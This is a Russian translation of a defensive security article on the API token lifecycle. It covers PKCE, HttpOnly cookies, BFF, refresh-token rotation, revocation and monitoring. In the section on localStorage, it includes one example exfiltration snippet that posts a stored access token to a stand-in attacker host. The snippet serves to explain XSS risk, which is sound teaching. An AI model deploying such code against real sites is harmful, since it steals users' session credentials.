ESPNBreaking down the 49ers' win against the Rams in AustraliaESPN DeportesF1: Pilotos revelan peligrosidad del MadringBBC NewsGolf: Solheim CupThe Jerusalem PostIran used AI to develop military, propaganda strategies, Anthropic report revealsDaily MaverickTHE GATHERING 2026: A top urbanist’s guide to building modern South African citiesוואלהה-CIA חשף: כבר ב-1998 הוזהר ממשל קלינטון מפיגוע מטוס של בן לאדןThe South African‘Made a mistake’: Rise in refugees wanting to return to SADeadlineJosh Giuliano Sets ‘Occupant’ With Blumhouse Atomic Monster Following TIFF Premiere Of Horror Debut ‘River’; Focus Features DistributingThe Hollywood ReporterTIFF Flashback: Naomi Watts Cruised Into Toronto via ‘Mulholland’BBC عربيبزشكيان: لا أؤيد استمرار الحرب، وترامب يواجه ضغوطاً لإنهائها قبل نوفمبرColliderThe 10 Greatest Platformer Video Games That Aren't MarioRai NewsAtletica, la serata dei campioni: al via Ultimate Championship - DIRETTA
The Daily Newsstand · Free, Always
Friday, September 11, 2026

[Перевод] Жизненный цикл токена API: от выпуска до отзыва

Translate

Токены (tokens) API часто расцениваются как незначительные детали реализации.

Пользователь входит в систему, сервер создает токен, браузер сохраняет его и включает в каждый защищенный запрос (protected request). На верхнем уровне процесс выглядит просто.

Последствия для безопасности отнюдь не просты.

Токен может быть правильно подписан (signed) и все равно украден. Он может использовать сильный криптографический алгоритм и все равно оставаться активным долгое время после того, как атакующий получил к нему доступ. Он может храниться в удобном месте, позволяющем читать его любому внедренному (injected) скрипту.

Подпись (signature) защищает токен от модификации. Она не защищает его от кражи.

Когда атакующий получает валидный токен доступа (access token), сервер, обычно, не может отличить легитимного пользователя от лица, представившего украденные учетные данные (credentials). Оба отправляют одинаковый токен. Оба проходят верификацию (verification) подписи.

Для браузерных приложений безопасность токена зависит не только от выбранного алгоритма JWT.

Она зависит от того, как токен выпущен, где он хранится, как передается, обновляется, как быстро он может быть отозван (revoked), и может ли подозрительная активность быть обнаружена до того, как возникли серьезные последствия.

В этой статье рассматривается полный жизненный цикл токена API, от выпуска (issuance) до истечения срока действия (expiration) или принудительного отзыва (revocation).

Быстрый ответ.

Используйте короткоживущие (short-lived) токены доступа, не храните токены обновления (refresh tokens) в хранилищах, доступных для чтения с помощью JavaScript, меняйте (rotate) токены обновления атомарно (atomically), имейте возможность отозвать любую сессию. Для браузерных приложений поток кода авторизации (Authorization Code Flow) с PKCE плюс бэкенд для фронтенда (backend for frontend) и сессия в HttpOnly-куки предоставляют сильную начальную архитектуру.

❯ Стадия 1: выпуск токена

Модель безопасности начинается с создания токена.

Ошибки, допущенные на этой стадии, сложно исправить впоследствии. Правила сильного хранилища и транспортная безопасность не спасут аутентификацию, в которой используется неправильный тип разрешений (grant type), очень длинный срок жизни (lifetime) токена или слабая аутентификация на стороне клиента.

Выбор правильного потока OAuth

Правильный поток OAuth зависит от типа клиента, запрашивающего доступ.

Одностраничные приложения (single-page applications, SPA) и мобильные приложения являются публичными клиентами. Они не могут безопасно хранить постоянный секрет клиента, поскольку их код и среда выполнения управляются пользователем.

Для таких приложений стандартным является поток кода авторизации с PKCE.

PKCE расшифровывается как Proof Key for Code Exchange (ключ подтверждения для обмена кодом). Он привязывает (bind) запрос авторизации к временному секрету верификации, генерируемому клиентом.

Сначала клиент создает произвольный code_verifier и генерирует на его основе code_challenge, который включается в запрос авторизации, в то время как оригинальный верификатор (verifier) остается на клиенте.

Позже, когда приложение меняет код авторизации на токены, оно сначала должно предоставить оригинальный верификатор.

Атакующий, перехвативший только код авторизации, не сможет завершить обмен без совпадения значения верификации.

Для коммуникации между машинами требования другие.

Сервис бэкенда может использовать разрешения client_credentials, поскольку может хранить client_id и client_secret в своей защищенной среде:

POST /oauth/token

grant_type=client_credentials
client_id=reporting-service
client_secret=protected-secret

Такие токены должны быть короткоживущими. Секреты клиента также должны регулярно ротироваться и храниться в отдельной системе управления секретами, а не в репозитории.

Для новых приложений старый явный (explicit) поток больше использовать не следует.

Он выставляет (expose) токены на всеобщее обозрения при перенаправлениях (redirects), и в нем отсутствуют средства защиты, предоставляемые потоком кода авторизации с PKCE. Современные браузеры имеют лучшие варианты и должны использовать их.

Короткий срок жизни токена

Срок жизни токена — это всегда баланс между опытом пользователя и раскрытием токена.

Более длительный срок жизни уменьшает количество операций обновления, но также дает атакующему больше времени для использования украденных учетных данных.

Токен доступа, используемый браузерным приложением, как правило, должен иметь короткий срок жизни.

Хорошей отправной точкой является время от 5 до 15 минут:

{
  "sub": "user_1842",
  "scope": ["profile:read", "orders:read"],
  "iat": 1784217600,
  "exp": 1784218500
}

Правильное значение зависит от чувствительности (sensitivity) приложения.

Для платформы контента с низким уровнем риска допустимо более длинное окно сессии (session window). Финансовые панели управления, внутренние административные панели или приложения здравоохранения, как правило, должны использовать короткоживущие токены.

Токены обновления служат другой цели.

Они предназначены только для выдачи новых токенов и обычно живут дольше. Их срок жизни может варьироваться от нескольких часов до нескольких дней, в зависимости от требований безопасности.

Скользящая сессия (sliding session) может улучшить пользовательский опыт, не делая при этом сессию постоянной по сути.

Например, токен обновления может оставаться валидным на протяжении 7 дней и продлять (extend) сессию при каждом использовании. Отдельный абсолютный лимит обеспечивает, что полная сессия не длится дольше 30 дней без повторной аутентификации.

Срок жизни токена обновления: 7 дней
Расширение сессии: 7 дней после каждой ротации
Абсолютный лимит сессии: 30 дней

Без абсолютного лимита часто используемая сессия может длиться вечно.

Защита конечных точек авторизации и выдачи токена

Конечные точки /login и /token — входы в систему аутентификации.

Они подвержены перебору паролей (password spraying), подбору учетных данных (credential stuffing), атакам грубой силы (brute-force attempts), атакам повторного использования (replay attacks) и автоматизированному злоупотреблению (automated abuse).

Ограничение количества запросов (rate limiting) должно применяться к шлюзу (gateway) API, обратному прокси или слою приложения.

/login
/token
/oauth/authorize
/oauth/revoke

Должен учитываться не только IP-адрес.

Атакующий может распределить запросы между несколькими адресами. Более сильная стратегия может сочетать идентификатор аккаунта, информацию об устройстве, диапазон IP, частоту запросов и предыдущие провалы.

Конфиденциальные клиенты могут также аутентифицироваться с помощью подписанных утверждений (signed assertions), вместо повторяющейся передачи статичного секрета.

Клиентское утверждение — это короткоживущий подписанный JWT, содержащий такую информацию, как идентификатор клиента, целевая аудитория, время выпуска, время истечения и уникальный идентификатор запроса:

{
  "iss": "reporting-service",
  "sub": "reporting-service",
  "aud": "https://auth.example.com/token",
  "iat": 1784217600,
  "exp": 1784217660,
  "jti": "req_8f4d21"
}

Поскольку утверждение быстро истекает и включает уникальный идентификатор запроса, повтор перехваченного запроса становится более сложным.

❯ Стадия 2: хранилище на стороне клиента

Хранилище — одна из самых спорных частей браузерной аутентификации.

Браузерному приложению нужно как-то хранить сессию пользователя. Самые очевидные механизмы хранения часто используются неправильно.

Локальное хранилище опасно для чувствительных токенов

Хранение токена доступа в localStorage удобно:

localStorage.setItem('access_token', token);

Но такой токен переживает перезагрузку страницы, его легко читать и можно добавлять к запросам из любой части приложения.

Это удобство создает главную проблему.

Каждый скрипт на странице может читать локальное хранилище:

const token = localStorage.getItem('access_token');

Если атакующий выполнит JavaScript через уязвимость XSS, взломанную зависимость, встроенный скрипт аналитики или вредоносное расширение браузера, токен может быть копирован и отправлен куда угодно:

fetch('https://attacker.example/collect', {
  method: 'POST',
  body: JSON.stringify({
    token: localStorage.getItem('access_token'),
  }),
})

sessionStorage имеет такую же проблему доступа с помощью JS. Оно очищается при закрытии вкладки, но это не защищает от чтения секретов вредоносными скриптами.

Этот риск не ограничен явными уязвимостями приложения.

Атака на цепочку поставок (supply-chain attack) может выполнить вредоносный код из пакета NPM, стороннего виджета или скрипта, загруженного из CDN. Внедренный код выполняется с теми же привилегиями, что и другой код приложения.

С точки зрения браузера, это просто еще один скрипт.

Обычное оправдание состоит в том, что локальное хранилище - временное решение, подлежащее замене в будущем.

Часто такой замены никогда не происходит.

Как только аутентификация начинает работать и приложение достигает продакшна, изменение всей архитектуры аутентификации становится очень дорогим. Временный «костыль» становится постоянной инфраструктурой.

Для чувствительных браузерных приложений долгоживущие учетные данные аутентификации не должны содержаться в хранилище, доступном для чтения с помощью JS.

HttpOnly-куки

Куки с атрибутом HttpOnly недоступны для чтения с помощью JS:

Set-Cookie: __Host-session=opaque-value; HttpOnly; Secure; SameSite=Lax; Path=/; Max-Age=900

Каждый атрибут предоставляет разную защиту:

  • HttpOnly предотвращает доступ через document.cookie

  • Secure обеспечивает передачу куки только по HTTPS

  • SameSite ограничивает случаи включения куки в межсайтовые (cross-site) запросы

Префикс __Host добавляет более строгие требования. Куки должен использовать HTTPS и Path=/ и не содержать атрибут Domain.

Это помогает предотвратить установку конфликтующего куки для родительского домена менее доверенным поддоменом.

HttpOnly-куки сильно уменьшает риск прямой кражи токена через XSS.

Это не делает XSS-атаки безвредными.

Вредоносный скрипт по-прежнему может выполнять аутентифицированные операции внутри скомпрометированной страницы. Он не может читать значение куки, но браузер может автоматически добавлять их в запросы.

Это важный момент.

HttpOnly защищает учетные данные от извлечения. Он не защищает от всех злоупотреблений сессией.

Куки аутентификации и CSRF

Куки автоматически включаются в совпадающие (matching) запросы.

Это делает их удобными, но также создает риски подделки межсайтовых запросов (cross-site request forgery, CSRF).

Атакующий может попытаться заставить браузер жертвы отправить аутентифицированный запрос с другого сайта.

SameSite=Lax или SameSite=Strict блокирует многие сценарии CSRF, но приложения не должны полагаться только на этот флаг при выполнении чувствительных операций.

Запросы, модифицирующие состояние, могут требовать отдельный токен CSRF:

POST /api/account/email
Cookie: __Host-session=...
X-CSRF-Token: 7e3fb91d...

Сервер сравнивает отправленное значение с доверенным значением, связанным с сессией.

Другой вариант — шаблон двойной отправки куки, хотя использование привязанного к серверу токена, как правило, проще, когда приложение уже поддерживает состояние сессии.

Валидация HTTP-заголовков Origin и Referer может предоставить дополнительный слой защиты:

function validateOrigin(request) {
  const origin = request.headers.get('origin');

  if (origin !== 'https://app.example.com') {
    throw new Error('Invalid request origin');
  }
}

Чувствительные запросы могут комбинировать несколько средств защиты, вместо одного браузерного флага.

Шаблон BFF

Самым безопасным браузерным токеном часто является токен, который никогда не попадает в браузер.

BFF (Backend for Frontend — бэкенд для фронтенда) — это серверный слой, предназначенный для конкретного клиентского приложения.

Браузер взаимодействует с BFF. BFF взаимодействует с основным API:

Браузер
  |
  | HttpOnly-куки сессии
  v
Бэкенд для фронтенда
  |
  | Токен доступа
  v
Внутренний или сторонний API

Поток обычно следующий:

  1. Пользователь приступает к аутентификации через BFF.

  2. BFF завершает обмен OAuth.

  3. Токены доступа и обновления остаются на сервере.

  4. Браузер получает только HttpOnly-куки сессии.

  5. Клиентские запросы отправляются в BFF.

  6. BFF в необходимых случаях добавляет токен доступа перед взаимодействием с API.

Браузер никогда не обрабатывает реальные токены OAuth.

Даже если на странице выполняется вредоносный JS, он не может читать токен, существующий только в серверном хранилище сессий.

BFF может хранить данные сессии в Redis, базе данных или другой защищенной серверной системе:

{
  "sessionId": "sess_e8f1c2",
  "userId": "user_1842",
  "accessTokenEncrypted": "...",
  "refreshTokenEncrypted": "...",
  "expiresAt": "2026-07-16T18:15:00Z"
}

Браузер хранит только непрозрачный (opaque) идентификатор:

Set-Cookie: __Host-session=sess_e8f1c2; HttpOnly; Secure; SameSite=Lax; Path=/

Такой подход усложняет сервер, но предоставляет гораздо больший контроль хранения токена, его ротации, отзыва и мониторинга его использования.

API прямого доступа

Токены хранятся на сервере

Проще для межсайтовых API

Браузер получает только непрозрачный куки

Требуется доступ к учетным данным с помощью JS

Токены OAuth остаются в серверном хранилище

Позволяет извлекать токены после XSS

Централизованное обновление, отзыв и логирование

Обновление и повторная отправка координируются клиентом

Требуется серверный слой с состоянием (stateful)

❯ Стадия 3: передача и использование

После выпуска и хранения учетные данные добавляются к запросам.

Двумя распространенными подходами являются заголовок Authorization и куки.

Авторизационные токены на предъявителя

Токен на предъявителя (bearer token) обычно указывается в заголовке Authorization:

GET /api/profile HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOi...

Этот подход явный и хорошо работает для API, мобильных клиентов, сервисов бэкенда и приложений, взаимодействующих между доменами.

Слово Bearer важно.

Использовать учетные данные может любой их обладатель. Нет никаких доказательств, что запрос поступил от оригинального клиента.

Поэтому транспортная безопасность является обязательной.

Токены не должны передаваться по обычному HTTP.

Такая аутентификация также может влиять на кэширование CDN. Многие настройки CDN отключают кэширование запросов, содержащих заголовок Authorization.

Приложения, работающие как с открытыми, так и закрытыми данными, должны разделять роуты (routes):

/api/public/articles
/api/account/articles

Открытая конечная public может использовать общий (shared) кэш, а account остается закрытым.

Токены в куки

Аутентификация на основе куки устраняет необходимость ручного формирования заголовка Authorization:

const response = await fetch('/api/profile', {
  credentials: 'include',
});

Браузер добавляет надлежащий куки автоматически.

Это упрощает код приложения, но требует внимательной настройки CORS, поведения SameSite, защиты от CSRF и границ (boundary) домена.

Межсайтовые запросы с учетными данными должны содержать явный источник (origin):

Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true

Источник * не может использоваться с браузерными запросами, содержащими учетные данные.

Токен не должен отображаться в URL

Токены не должны помещаться в параметры запроса:

https://example.com/dashboard?token=eyJhbGciOi...

URL часто попадают в историю браузера, логи сервера, на платформы аналитики, в системы мониторинга, на снимки экрана, в заголовки Referer и заявки в службу поддержки.

Даже короткоживующие токены могут попадать в системы, которые не проектировались для защиты учетных данных.

Коды авторизации, включаемые в перенаправления OAuth должны быть одноразовыми и быстро истекать.

Токены доступа никогда не должны включаться в URL.

Логи — частый источник утечек

Токены часто утекают (leak) через обычную отладку и инфраструктурные логи.

Обратный прокси может записывать заголовки запросов. Приложение может логировать полные объекты запросов. Платформа обработки ошибок может перехватывать куки или метаданные авторизации.

console.error('Request failed', {
  headers: request.headers,
  body: request.body,
});

Это может случайно отправить учетные данные в системы с более широким доступом, чем база данных аутентификации.

Чувствительные заголовки должны редактироваться перед логированием:

function sanitizeHeaders(headers) {
  const safeHeaders = { ...headers };

  if (safeHeaders.authorization) {
    safeHeaders.authorization = '[REDACTED]';
  }

  if (safeHeaders.cookie) {
    safeHeaders.cookie = '[REDACTED]';
  }

  return safeHeaders;
}

Структурированное логирование упрощает единообразное редактирование:

logger.info({
  method: request.method,
  path: request.url,
  headers: sanitizeHeaders(request.headers),
});

Продакшн-системы должны избегать хранения полных запросов по умолчанию.

Конвейеры (pipeline) логирования могут также выполнять сканирование JWT-подобных строк, ключей API, закрытых ключей и других шаблонов учетных данных.

Обнаружение не заменяет предотвращение, но может уменьшить время между компрометацией и реагированием.

Атаки повторного использования

Перехваченный токен на предъявителя может использоваться до истечения или отзыва.

JWT обычно включает атрибут (claim) JTI - уникальный идентификатор:

{
  "sub": "user_1842",
  "jti": "token_4af79c",
  "iat": 1784217600,
  "exp": 1784218500
}

Сервер может использовать идентификатор для отзыва определенного токена или обнаружения подозрительной активности.

Простое отклонение любого повторяющегося jti непрактично для обычных токенов доступа. Один токен может использоваться для авторизации нескольких запросов на протяжении его срока жизни.

Обнаружение повторного использования более полезно для одноразовых артефактов, токенов обновления, подписанных запросов (signed requests), ссылок для сброса пароля и транзакций с высоким риском.

Для более строгой привязки запросов некоторые системы используют механизмы подтверждения владения (proof-of-possession), когда пользователь должен доказать, что владеет закрытым ключом, связанным с токеном.

В этом случае украденный токен сам по себе неэффективен.

Это сложнее, чем стандартная bearer-аутентификация, но может требоваться для высокочувствительных API.

❯ Стадия 4: ротация токена обновления

Обновление токенов — одна из самых сложных частей браузерной аутентификации.

Приложение должно сохранять сессию активной без создания постоянных учетных данных.

Недостатки старого потока аутентификации

Старые приложения иногда используют скрытые iframe и prompt=none для обновления аутентификации в фоновом режиме.

Эти потоки зависят от сторонних куки поставщиков (providers) идентификационных данных.

Ограничения современных браузеров делают такое поведение ненадежным. Браузеры все чаще ограничивают использование сторонних куки и механизмов отслеживания между сайтами.

Поток на основе токена обновления более предсказуем, особенно, в сочетании с BFF или безопасной архитектурой на основе куки.

Ротация токенов обновления

Ротация токена обновления означает, что каждое успешное обновление инвалидирует токен, который только что использовался.

Сервер возвращает новый токен доступа и новый токен обновления.

Токен обновления A
  |
  | успешное обновление
  v
Токен доступа B + Токен обновления B
Токен обновления A становится невалидным

Клиент должен заменить старый токен новым.

{
  "accessToken": "new-access-token",
  "refreshToken": "new-refresh-token",
  "expiresIn": 900
}

Украденный токен обновления становится менее полезным, поскольку не может использоваться бесконечно.

Ротация также создает возможность для обнаружения компрометации.

Обнаружение повторного использования токена

Представьте, что атакующий украл токен обновления А.

Позже он пытается его использовать.

Сервер может видеть, что уже потребленный (consumed) токен снова предоставлен.

Это верный признак того, что цепочка токена обновления может быть скомпрометирована.

Токены обновления, сгенерированные из одной авторизации, могут быть сгруппированы в семью токенов (token family).

Семья: family_27
Токен A -> Токен B -> Токен C -> Токен D

Если токен А повторно используется после выпуска токена В, сервер может отозвать всю семью.

Такой ответ иногда называется сжиганием (burning) семьи токенов.

Пользователь принуждается к повторной авторизации, но атакующий теряет возможность обновлять украденную сессию.

Ротация должна быть атомарной

Ротация токена должна быть реализована как одна атомарная (atomic) операция.

Два одновременных запроса не должны иметь возможность обменивать один и тот же токен обновления на два действительных токена доступа.

Упрощенная транзакция в БД может выглядеть так:

BEGIN;

SELECT *
FROM refresh_tokens
WHERE token_hash = $1
FOR UPDATE;

UPDATE refresh_tokens
SET consumed_at = NOW()
WHERE token_hash = $1
  AND consumed_at IS NULL;

INSERT INTO refresh_tokens (
  token_hash,
  family_id,
  user_id,
  expires_at
)
VALUES ($2, $3, $4, $5);

COMMIT;

Блокировка строки (row lock) предотвращает потребление одного токена двумя запросами в одно время.

Другая реализация использует семантику сравнения и обмена (compare-and-swap):

UPDATE refresh_tokens
SET consumed_at = NOW()
WHERE id = $1
  AND consumed_at IS NULL;

Приложение проверяет, что была обновлена только одна строка.

Если ни одна строка не была обновлена, вероятно, другой запрос уже потребил токен.

Это не должно обрабатываться как обычный провал аутентификации. Это может свидетельствовать о повторном использовании или гонке условий (race condition) и должно запускать применение соответствующей политики (policy) сессии.

Предотвращение множественных клиентских запросов на обновление

Несколько запросов могут получить 401 Unauthorized одновременно при истечении токена доступа.

Без координации, фронтенд может отправить несколько запросов обновления одновременно.

Общий промис (promise) обновления может это предотвратить:

let refreshPromise = null;

async function refreshSession() {
  if (!refreshPromise) {
    refreshPromise = fetch('/auth/refresh', {
      method: 'POST',
      credentials: 'include',
    }).finally(() => {
      refreshPromise = null;
    });
  }

  return refreshPromise;
}

Обертка API может ожидать той же операции обновления:

async function apiFetch(url, options = {}) {
  let response = await fetch(url, {
    ...options,
    credentials: 'include',
  });

  if (response.status !== 401) {
    return response;
  }

  const refreshResponse = await refreshSession();

  if (!refreshResponse.ok) {
    window.location.assign('/login');
    throw new Error('Session expired');
  }

  response = await fetch(url, {
    ...options,
    credentials: 'include',
  });

  return response;
}

Неудачное обновление, обычно, должно завершать локальную сессию.

Многократные попытки повторной отправки недействительного токена обновления могут привести к зацикливанию и генерации вводящих в заблуждение событий безопасности.

❯ Стадия 5: истечение срока жизни и отзыв токена

Распространенное заблуждение — токены не могут отзываться (revoke) до истечения.

Это неправда.

Валидация JWT может обходиться без состояния, только когда система предполагает, что каждый выпущенный токен остается валидным до истечения.

Когда возможность немедленного отзыва является обязательной, серверу требуется некоторая форма состояния.

Списки заблокированных токенов

Идентификатор отозванного токена может храниться в Redis:

revoked:token_4af79c = true
TTL = оставшийся срок жизни токена

TTL должно совпадать с оставшимся сроком жизни токена.

После истечения срока жизни токена, Redis может автоматически удалять запись:

await redis.set(
  `revoked:${token.jti}`,
  '1',
  {
    EX: remainingLifetimeInSeconds,
  },
);

Каждый аутентифицированный запрос может проверять блокировку текущего jti:

const revoked = await redis.get(`revoked:${payload.jti}`);

if (revoked) {
  throw new UnauthorizedError('Token has been revoked');
}

Это добавляет поиск в путь запроса, но обеспечивает немедленный контроль.

Записи сессии

Вместо отслеживания индивидуальных токенов, приложение может хранить сессии на стороне сервера:

CREATE TABLE user_sessions (
  id UUID PRIMARY KEY,
  user_id UUID NOT NULL,
  refresh_token_hash TEXT NOT NULL,
  created_at TIMESTAMP NOT NULL,
  expires_at TIMESTAMP NOT NULL,
  revoked_at TIMESTAMP,
  ip_address INET,
  user_agent TEXT
);

Токен доступа может включать идентификатор сессии:

{
  "sub": "user_1842",
  "sid": "sess_e8f1c2",
  "exp": 1784218500
}

Сервер может отклонять запросы, принадлежащие отозванной сессии.

Это нарушает принцип отсутствия состояния JWT, но отсутствие состояния не всегда самое важное требование.

Более строгий контроль за сессиями часто приносит пользу финансовым, медицинским, корпоративным и административным системам.

Отзыв токенов

Несколько событий должны приводить к отзыву токена.

Изменение пароля, как правило, должно инвалидировать существующие сессии, особенно, когда изменение следует за обнаруженной компрометацией.

Выход из системы, инициированный пользователем, должен инвалидировать токен обновления или серверную сессию, а не только удалять локальное браузерное состояние.

Подозрительная активность устройства может оправдать аннулирование одной сессии при сохранении других.

Администратор, отключающий аккаунт, должен сразу запрещать ему доступ к приложению.

Повторное использование токена обновления должно приводить к отзыву всей семьи токенов:

async function revokeUserSessions(userId) {
  await database.userSessions.updateMany({
    where: {
      userId,
      revokedAt: null,
    },
    data: {
      revokedAt: new Date(),
    },
  });
}

Требовательное к безопасности приложение также должно предоставлять экран управления сессиями, где пользователи могут просматривать и отключать активные устройства.

Current device
Jerusalem, Chrome on Windows
Active now

Other device
Tel Aviv, Safari on iPhone
Last active 2 hours ago
[Revoke]

Фильтр Блума

Масштабные системы могут использовать фильтры Блума для уменьшения объема памяти, требуемого для проверки больших наборов отозванных токенов.

Фильтр Блума может быстро определить, что идентификатор определенно отсутствует или возможно присутствует.

Результат может быть ложноположительным, но не ложноотрицательным.

Если фильтр возвращает возможное совпадение, приложение может выполнить второй поиск в Redis или БД.

Фильтр Блума возвращает отсутствие:
принимаем без дополнительного поиска

Фильтр Блума возвращает возможное наличие:
проверяем авторитетное хранилище отозванных токенов

Такая архитектура может уменьшить загрузку, но представляет операционную сложность.

Большинство приложений должны начинать с простой серверной модели на основе Redis или БД, и приступать к оптимизации только при обнаружении реального узкого места.

❯ Стадия 6: мониторинг и обнаружение

Превенция — лишь одна часть механизма обеспечения безопасности токена.

Зрелая система аутентификации должна также быстро определять подозрительную активность.

Атакующие своими действиями не всегда вызывают явные ошибки. Они могут использовать валидный токен медленно, имитируя нормальный траффик, и оставаться в системе на протяжении нескольких дней и дольше.

Мониторинг должен фокусироваться на поведении, а не только на отдельных сигналах.

Подозрительное обновление

Две попытки обновления с помощью одного токена из разных сетей за короткий период времени могут свидетельствовать о краже токена:

12:00:01 - Обновление из 192.0.2.10
12:00:02 - Обновление из 203.0.113.44

Система должна записывать такую информацию, как:

  • семья токенов

  • идентификатор сессии

  • IP-адрес

  • агент пользователя

  • идентификатор устройства

  • временная метка

  • географический регион

  • результат обновления

Один сигнал еще не доказывает компрометации.

Мобильные сети меняют адреса. VPN создают прыжки локации (location jumps). Корпоративные прокси позволяют нескольким пользователям делить один источник (origin).

Самая сильная защита учитывает комбинацию несколько сигналов.

Повторное использование невалидного токена обновления

Старый токен обновления может быть представлен из-за украденных учетных данных, продублированной вкладки браузера, бага клиента или задержанного (delayed) запроса.

Сервер не должен игнорировать это событие.

Он должен записать семью токенов, при необходимости, отозвать соответствующие учетные данные, уведомить систему безопасности и потребовать повторной аутентификации пользователя:

logger.warn({
  event: 'refresh_token_reuse',
  userId,
  familyId,
  ipAddress,
  userAgent,
});

Ответ пользователю должен оставаться простым:

{
  "error": "session_expired",
  "message": "Пожалуйста, войдите в систему повторно."
}

Подробная информация об инциденте принадлежит внутренним логам, а не публичному ответу API.

Ограничение размера токена

JWT может содержать больше атрибутов (claims), чем ожидает приложение.

Чрезмерно большой токен может увеличить цену парсинга, переполнить (overflow) лимиты прокси или быть использован для перегрузки промежуточного ПО (middleware).

Приложения должны определять максимально допустимый размер токена:

const MAX_TOKEN_LENGTH = 4096;

if (token.length > MAX_TOKEN_LENGTH) {
  throw new UnauthorizedError('Token is too large');
}

Токен должен содержать только информацию, необходимую для авторизации.

Он не должен становиться переносным профилем пользователя:

{
  "sub": "user_1842",
  "roles": ["editor"],
  "scope": ["articles:read", "articles:write"],
  "sid": "sess_e8f1c2",
  "iat": 1784217600,
  "exp": 1784218500
}

Чувствительные персональные данные, как правило, должны оставаться на сервере.

Помните, что полезная нагрузка JWT кодируется, а не шифруется.

Как правило, любой, кто получил токен, может его декодировать.

Honeytoken

Honeytoken («медовый» токен, токен-приманка) — это фиктивные учетные данные, создаваемые для обнаружения неавторизованного доступа.

Приложение может поместить безвредную приманку в локацию, которую обычный код приложения никогда не использует.

Если позже значение появляется в запросе API, системы мониторинга понимают, что некто пытался извлечь и повторно использовать данные браузера:

localStorage.setItem(
  '__diagnostic_session',
  'decoy-token-with-no-permissions',
);

Соответствующие учетные данные не должны иметь реального доступа.

Их единственная цель — обнаружение утечки:

if (token === knownHoneytoken) {
  await alertSecurityTeam({
    event: 'honeytoken_used',
    sessionId,
    ipAddress,
  });

  await revokeSession(sessionId);
}

Такие токены должны использоваться осторожно.

Они не предотвращают XSS и ни в коем случае не должны заменять надлежащее хранение данных, CSP, кодирование выходных данных, проверку зависимостей или архитектуру защищенных сессий.

Они предоставляют дополнительный сигнал, когда другой контроль провалился.

❯ Прагматичная архитектура токена

Сильная браузерная аутентификация может иметь следующую структуру:

Поток кода авторизации с PKCE
  |
  v
Бэкенд для фронтенда
  |
  v
Серверное хранилище токенов
  |
  v
HttpOnly-куки сессии в браузере
  |
  v
Короткоживущие токены доступа
  |
  v
Ротация токенов обновления
  |
  v
Атомарное обнаружение повторного использования
  |
  v
Отзыв токенов на основе Redis
  |
  v
Мониторинг и уведомления

Браузер никогда не читает и не обновляет токены.

Токены доступа являются короткоживущими.

Токены обновления меняются после каждого успешного использования.

Каждая сессия может быть независимо отозвана.

Подозрительное повторное использование токена запускает отзыв и мониторинг.

Логи не содержат учетных данных.

Этот дизайн гораздо более сложен, чем хранение JWT в localStorage, но безопасность аутентификации не лучшее место для оптимизации количества кода.

❯ Чеклист безопасности токена

Перед релизом системы аутентификации на основе токенов, проверьте следующие области:

  • для публичных клиентов используется PKCE, токены доступа являются короткоживущими

  • повторно используемые учетные данные не хранятся в месте, доступном для чтения с помощью JS

  • учетные данные передаются только по HTTPS и не отображаются в URL или логах

  • токены обновления меняются атомарно, отслеживается повторное использование потребленных токенов

  • поддерживается немедленный отзыв сессии для выхода из системы и реагирования на инциденты

  • проводится мониторинг семьи токенов, устройства, сети и операций обновления на предмет аномалий

Выпуск токенов

Используйте поток кода авторизации с PKCE для браузерных и мобильных клиентов.

Используйте client_credentials только для доверенных сервисов «машина-машина».

Делайте токены доступа короткоживущими.

Устанавливайте срок продления и абсолютный лимит для обновления сессий.

Применяйте ограничение количества запросов для конечных точек авторизации, получения токена и его восстановления.

Хранилище

Избегайте хранения чувствительных долгоживущих токенов в localStorage или sessionStorage.

Предпочитайте куки с атрибутами HttpOnly, Secure и SameSite.

Используйте префикс __Host-, когда его ограничения соответствуют требованиям приложения.

Используйте BFF, когда браузер может обойтись без прямого доступа к основному API.

Передача

Требуйте HTTPS везде.

Никогда не помещайте токены в URL.

Удаляйте значения заголовков Authorization и Cookie из логов.

Настраивайте CORS-запросы с учетными данными с помощью явных источников (origins).

Защищайте изменение состояния, требующее аутентификации, от CSRF.

Ротация

Меняйте токены обновления после каждого успешного использования.

Храните только хэшированные токены обновления, когда возможно.

Реализуйте операции обновления атомарно.

Отслеживайте повторное использование потребленных токенов.

Отзывайте всю семью токенов после подтверждения компрометации.

Отзыв

Инвалидируйте токены обновления после выхода из системы.

Отзывайте активные сессии после сброса пароля или компрометации аккаунта.

Позволяйте пользователям видеть и закрывать активные сессии.

Используйте TTL в Redis или записи сессий для поддержки немедленного отзыва.

Не отдавайте приоритет отсутствию состояния над требованиями безопасности.

Мониторинг

Фиксируйте повторное использование токена обновления.

Отслеживайте необычные изменения в сети, на устройстве и в запросах.

Ограничивайте максимальный размер токена.

Отслеживайте данные в логах, похожие на учетные.

Используйте токены-приманки только как дополнительный механизм обнаружения.

❯ Инструменты для отслеживания потока использования токена

Эти браузерные утилиты могут помочь анализировать атрибуты (claims) и генерировать тестовые значения в процессе проектирования потока аутентификации. Не вставляйте продакшн-токены, «живые» клиентские секреты или учетные данные пользователей в интерфейс отладки:

  • JWT Decoder позволяет анализировать заголовки и атрибуты JWT локально без их отправки в API

  • JWT Secret Generator — позволяет генерировать секретные данные с высокой энтропией для контролируемой разработки и экспериментов с ключами подписи

  • OAuth State Generator — позволяет создавать непредсказуемые значения состояния для корреляции запросов OAuth и проверок на подделку

  • CSRF Token Generator — позволяет генерировать произвольные значения для тестирования потоков синхронизации токенов и защиты форм

❯ Заключительные мысли

Безопасность токена API — это не только решение по выбору JWT или OAuth.

Это цепочка решений, которая начинается до создания токена и продолжается после выхода пользователя из системы.

Подписанный токен может быть украден.

HttpOnly-куки может быть использован (abuse) вредоносным кодом, работающим внутри страницы.

Ротация токена обновления может провалиться, когда сервер обрабатывает одновременные запросы неправильно.

Система отзыва токенов может быть неэффективной, когда никто не мониторит события, которые вызывают отзыв.

Самая сильная архитектура сочетает несколько факторов.

Делайте токены доступа короткоживущими. Защищайте токены обновления сильнее, чем токены доступа. Скрывайте их от браузера по-возможности. Меняйте их атомарно. Поддерживайте возможность отзыва сессий. Удаляйте учетные данные из логов. Выполняйте мониторинг подозрительной активности.

Самое главное – проектируйте с учетом компромиссов.

Цель состоит не в том, чтобы построить систему, в которой токен не может быть украден в принципе. Это нереалистично.

Цель — уменьшить шансы его кражи, ограничить полномочия украденного токена, быстро определить его использование и отозвать доступ до того, как временный инцидент станет долгосрочной брешью в безопасности.

